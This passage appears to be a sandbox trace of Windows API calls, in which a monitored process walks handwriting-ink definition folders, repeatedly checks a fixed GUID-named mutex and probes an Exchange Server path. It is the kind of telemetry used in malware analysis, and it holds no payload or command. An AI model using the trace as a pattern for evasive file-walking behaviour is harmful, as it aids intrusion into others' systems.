FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.716] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.716] GlobalLock (hMem=0x440004) returned 0x553188 [0046.716] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.716] GlobalUnlock (hMem=0x440004) returned 0 [0046.716] GlobalLock (hMem=0x440004) returned 0x553188 [0046.716] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.716] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.716] GlobalUnlock (hMem=0x440004) returned 0 [0046.716] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.716] GlobalUnlock (hMem=0x44000c) returned 0 [0046.716] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.716] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0046.716] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.716] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.716] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.716] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.716] GlobalUnlock (hMem=0x44000c) returned 0 [0046.716] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.716] GlobalLock (hMem=0x440004) returned 0x555198 [0046.716] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.716] GlobalUnlock (hMem=0x44000c) returned 0 [0046.716] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.716] GlobalUnlock (hMem=0x440004) returned 0 [0046.716] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.716] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0046.716] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.716] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.717] GlobalLock (hMem=0x440004) returned 0x553188 [0046.717] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.717] GlobalUnlock (hMem=0x440004) returned 0 [0046.717] GlobalLock (hMem=0x440004) returned 0x553188 [0046.717] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.717] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.717] GlobalUnlock (hMem=0x440004) returned 0 [0046.717] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.717] GlobalUnlock (hMem=0x44000c) returned 0 [0046.717] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.717] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0046.717] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.717] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.717] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.717] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.717] GlobalUnlock (hMem=0x44000c) returned 0 [0046.717] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.717] GlobalLock (hMem=0x440004) returned 0x555198 [0046.717] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.717] GlobalUnlock (hMem=0x44000c) returned 0 [0046.717] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.717] GlobalUnlock (hMem=0x440004) returned 0 [0046.717] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.717] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0046.717] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.717] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.717] GlobalLock (hMem=0x440004) returned 0x553188 [0046.717] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.717] GlobalUnlock (hMem=0x440004) returned 0 [0046.717] GlobalLock (hMem=0x440004) returned 0x553188 [0046.717] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.717] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.718] GlobalUnlock (hMem=0x440004) returned 0 [0046.718] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.718] GlobalUnlock (hMem=0x44000c) returned 0 [0046.718] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.718] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0046.718] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.718] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.718] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.718] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.718] GlobalUnlock (hMem=0x44000c) returned 0 [0046.718] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.718] GlobalLock (hMem=0x440004) returned 0x555198 [0046.718] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.718] GlobalUnlock (hMem=0x44000c) returned 0 [0046.718] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.718] GlobalUnlock (hMem=0x440004) returned 0 [0046.718] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.718] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0046.718] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.718] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.718] GlobalLock (hMem=0x440004) returned 0x553188 [0046.718] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.718] GlobalUnlock (hMem=0x440004) returned 0 [0046.718] GlobalLock (hMem=0x440004) returned 0x553188 [0046.718] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.718] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.718] GlobalUnlock (hMem=0x440004) returned 0 [0046.718] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.718] GlobalUnlock (hMem=0x44000c) returned 0 [0046.718] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.718] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0046.719] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.719] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.719] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.719] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.719] GlobalUnlock (hMem=0x44000c) returned 0 [0046.719] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.719] GlobalLock (hMem=0x440004) returned 0x555198 [0046.719] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.719] GlobalUnlock (hMem=0x44000c) returned 0 [0046.719] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.719] GlobalUnlock (hMem=0x440004) returned 0 [0046.719] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.719] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0046.719] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.719] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.719] GlobalLock (hMem=0x440004) returned 0x553188 [0046.719] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.719] GlobalUnlock (hMem=0x440004) returned 0 [0046.719] GlobalLock (hMem=0x440004) returned 0x553188 [0046.719] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.719] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.719] GlobalUnlock (hMem=0x440004) returned 0 [0046.719] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.719] GlobalUnlock (hMem=0x44000c) returned 0 [0046.719] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.719] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0046.719] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.719] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.719] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.719] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.719] GlobalUnlock (hMem=0x44000c) returned 0 [0046.720] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.720] GlobalLock (hMem=0x440004) returned 0x555198 [0046.720] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.720] GlobalUnlock (hMem=0x44000c) returned 0 [0046.720] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.720] GlobalUnlock (hMem=0x440004) returned 0 [0046.720] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.720] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0046.720] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.720] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.720] GlobalLock (hMem=0x440004) returned 0x553188 [0046.720] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.720] GlobalUnlock (hMem=0x440004) returned 0 [0046.720] GlobalLock (hMem=0x440004) returned 0x553188 [0046.720] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.720] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.720] GlobalUnlock (hMem=0x440004) returned 0 [0046.720] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.720] GlobalUnlock (hMem=0x44000c) returned 0 [0046.720] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.720] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0046.720] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.720] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.720] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.720] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.720] GlobalUnlock (hMem=0x44000c) returned 0 [0046.720] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.720] GlobalLock (hMem=0x440004) returned 0x555198 [0046.720] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.720] GlobalUnlock (hMem=0x44000c) returned 0 [0046.720] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.720] GlobalUnlock (hMem=0x440004) returned 0 [0046.721] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.721] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0046.721] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.721] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.721] GlobalLock (hMem=0x440004) returned 0x553188 [0046.721] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.721] GlobalUnlock (hMem=0x440004) returned 0 [0046.721] GlobalLock (hMem=0x440004) returned 0x553188 [0046.721] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.721] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.721] GlobalUnlock (hMem=0x440004) returned 0 [0046.721] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.721] GlobalUnlock (hMem=0x44000c) returned 0 [0046.721] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.721] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0046.721] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.721] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.721] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.721] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.721] GlobalUnlock (hMem=0x44000c) returned 0 [0046.721] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.721] GlobalLock (hMem=0x440004) returned 0x555198 [0046.721] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.721] GlobalUnlock (hMem=0x44000c) returned 0 [0046.721] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.721] GlobalUnlock (hMem=0x440004) returned 0 [0046.721] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.721] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0046.721] GetLastError () returned 0x12 [0046.721] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.722] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0046.722] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.722] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.722] GlobalLock (hMem=0x440004) returned 0x552180 [0046.722] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.722] GlobalUnlock (hMem=0x440004) returned 0 [0046.722] GlobalLock (hMem=0x440004) returned 0x552180 [0046.722] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.722] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.722] GlobalUnlock (hMem=0x440004) returned 0 [0046.722] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.722] GlobalUnlock (hMem=0x44000c) returned 0 [0046.722] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.722] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0046.722] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.722] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.722] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.722] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.722] GlobalUnlock (hMem=0x44000c) returned 0 [0046.722] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.722] GlobalLock (hMem=0x440004) returned 0x554190 [0046.722] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.722] GlobalUnlock (hMem=0x44000c) returned 0 [0046.723] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.723] GlobalUnlock (hMem=0x440004) returned 0 [0046.723] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.723] GlobalLock (hMem=0x440004) returned 0x552180 [0046.723] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.723] GlobalUnlock (hMem=0x440004) returned 0 [0046.723] GlobalLock (hMem=0x440004) returned 0x552180 [0046.723] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.723] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.723] GlobalUnlock (hMem=0x440004) returned 0 [0046.723] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.723] GlobalUnlock (hMem=0x44000c) returned 0 [0046.723] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.723] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", len=0x48 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers") returned 1 [0046.723] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.723] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.723] GlobalUnlock (hMem=0x44000c) returned 0 [0046.723] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.723] GlobalLock (hMem=0x440004) returned 0x554190 [0046.723] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.723] GlobalUnlock (hMem=0x44000c) returned 0 [0046.723] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.723] GlobalUnlock (hMem=0x440004) returned 0 [0046.723] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0046.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@┲R┆R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0046.724] GetLastError () returned 0x3 [0046.724] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: 